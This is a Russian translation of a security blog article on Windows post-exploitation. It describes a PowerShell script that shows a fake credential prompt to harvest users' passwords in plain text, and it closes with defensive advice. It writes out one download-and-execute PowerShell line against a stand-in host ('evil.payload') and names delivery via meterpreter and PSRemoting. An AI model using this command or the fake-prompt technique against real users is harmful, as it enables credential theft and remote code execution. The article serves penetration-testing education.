20.01.2015

Вы верите своему компьютеру?

image

В последнее время у меня все было как в тумане. Была возможность посетить и выступить на конференциях AppSecUSA и DerbyCon. Честно сказать, у меня сложилось неоднозначное впечатление об этих конференциях. Было много интересных дискуссии и мероприятий, но что-то конкретное выделить сложно из-за большого количества талантливых спикеров.

Автор: Greg Foss

В последнее время у меня все было как в тумане. Была возможность посетить и выступить на конференциях AppSecUSA и DerbyCon. Честно сказать, у меня сложилось неоднозначное впечатление об этих конференциях. Было много интересных дискуссии и мероприятий, но что-то конкретное выделить сложно из-за большого количества талантливых спикеров.

В этой статье я бы хотел поговорить о внутрисистемных угрозах, перемещениях внутри сети (используя технологию pivoting) и получении доступа к текстовым учетным записям. Существует множество различных тактик, используемых злоумышленниками для сокрытия следов пребывания внутри корпоративной сети. В этом году множество дискуссий было посвящено Windows и PowerShell. Среди всех остальных мне больше всего приглянулись следующие материалы: Et Tu Kerberos от @obscuresec, Abusing Active Directory in Post-Exploitation от @Carlos_Perez, PowerShell MITM от @subTee, Passing the Torch от @harmj0y и @davidpmcguire. Эта тема представляет особый интерес, поскольку речь идет о функционале, встроенном в Windows, а не сторонних утилитах и эксплоитах. Настоятельно рекомендую ознакомиться с вышеуказанными материалами, чтобы лучше понимать концепции, представленные в этой статье.

AppSecUSA and DerbyCon

Рисунок 1: Бейджи спикеров конференций

Однако в этой статье я не буду рассказывать о том, как получить шелл и доступ к другим машинам сети. Мы поговорим о злоупотреблениях функционалом, вполне имеющим место быть в корпоративной системе. Один из моих любимых видов атак – имитация легитимной службы, программы т. п. Методы подделки служб и программ в корпоративной среде имеют безграничный потенциал и ограничиваются лишь вашей фантазией.

@FuzzyNop в своем выступлении на конференции DerbyCon упомянул о некоторых способах установки и настройки сервера команд (C&C) при помощи твиттера и другие интересные трюки. Кроме того, в выступлении была продемонстрирована забавная шалость в OSX, когда у пользователя на рабочем столе появляется окно, замаскированное под легитимное приложение, с предложением ввести пароль. Подобную «шутку» легко реализовать на удаленных машинах через SSH.

Рисунок 2: Всплывающее окно в OSX с предложением ввести пароль

После экспериментов с OSX мне захотелось сделать то же самое в Windows. Я создал простенький PowerShell-скрипт, выводящий всплывающее окно ‘Layer 8 Error’, информирующее пользователя о «проблемах с учетной записью».

PowerShell Pop Up Pwn

Рисунок 3: Всплывающее окно, выводимое PowerShell-скриптом

Главное преимущество PowerShell в том (помимо, конечно, фреймворка PowerSploit), что скрипты можно запускать на любом хосте (даже там где установлена самая новая версия Windows). К тому же, вам не нужно перемещать никакие дополнительные файлы на целевую машину. Для вывода окна использовалась функция PromptForCredential(), а введенная пользователем информация конвертировалась в чистый текст при помощи функции ConvertFrom-SecureString. В зависимости от ограничений целевой среды, вы можете использовать WMI, PSRemoting, PSExec, meterpreter или мой любимый способ, когда файл перемещается на сторонний хостинг, а потом на целевую машину:

IEX (New-Object Net.WebClient).DownloadString(‘hxxp://evil.payload/ppwn.ps1’)

Если у вас уже есть meterpreter-сессия, то для запуска скрипта на хосте вы можете использовать модуль exec_powershell:

Рисунок 4: Запуск скрипта на удаленном хосте через meterpreter-сессию

После получение административных прав на хосте, вы можете внедрить и запустить скрипт через процесс конкретного пользователя, однако этот трюк может закончиться неудачно (в зависимости от процесса).

targeting other users

Рисунок 5: «Подселение» скрипта в процесс пользователя

Если пользователь попытается закрыть диалоговое окно, или перехваченные учетные данные не будут работать, можно перезапустить скрипт сколько раз, сколько необходимо при помощи функции ppwn().

Рисунок 6: Повторный запуск скрипта

Продемонстрированный способ – лишь простейшая концепция, демонстрирующая один из многих путей кражи учетных записей при помощи «достоверного диалогового окна». Если вас заинтересовал написанный мной скрипт, можете скачать его по ссылке ниже.

https://github.com/gfoss/misc/blob/master/PowerShell/popuppwn.ps1

Существует множество других способов для реализации подобного рода атак, не требующих взаимодействия с пользователем. Смысл в том, что эти простые техники имеют неограниченный потенциал вне зависимости от переменных окружения и версий операционных систем. Любая служба или приложение, которые вы часто используете, могут быть клонированы и использованы против вас.

В целом, защититься от подобного вида атак намного сложнее, чем реализовать атаку. Один из способов – запретить или ограничить использование служб SSH и PowerShell Remoting, пока не возникнет конкретная потребность в этих приложениях. Помимо запрета «рискованных» служб, необходимо понимать архитектуру вашей сети. Например, логирование данных критически важно, когда речь заходит о мониторинге сети. Дополнительные уровни защиты, затрудняющие жизнь злоумышленнику: фильтрация содержимого при помощи прокси сервера вместе с возможностями SSL-инспекции. Кроме того, необходимо провести правильную сегментацию сети. Если вы владеете информацией о ваших системах и понимаете их поведение, то можете не обращать внимание на большое количество «шума» и сосредоточиться на «неизвестных ранее явлениях», обычно именуемых как внутрисистемные угрозы.

Вы все еще продолжаете верить своему компьютеру?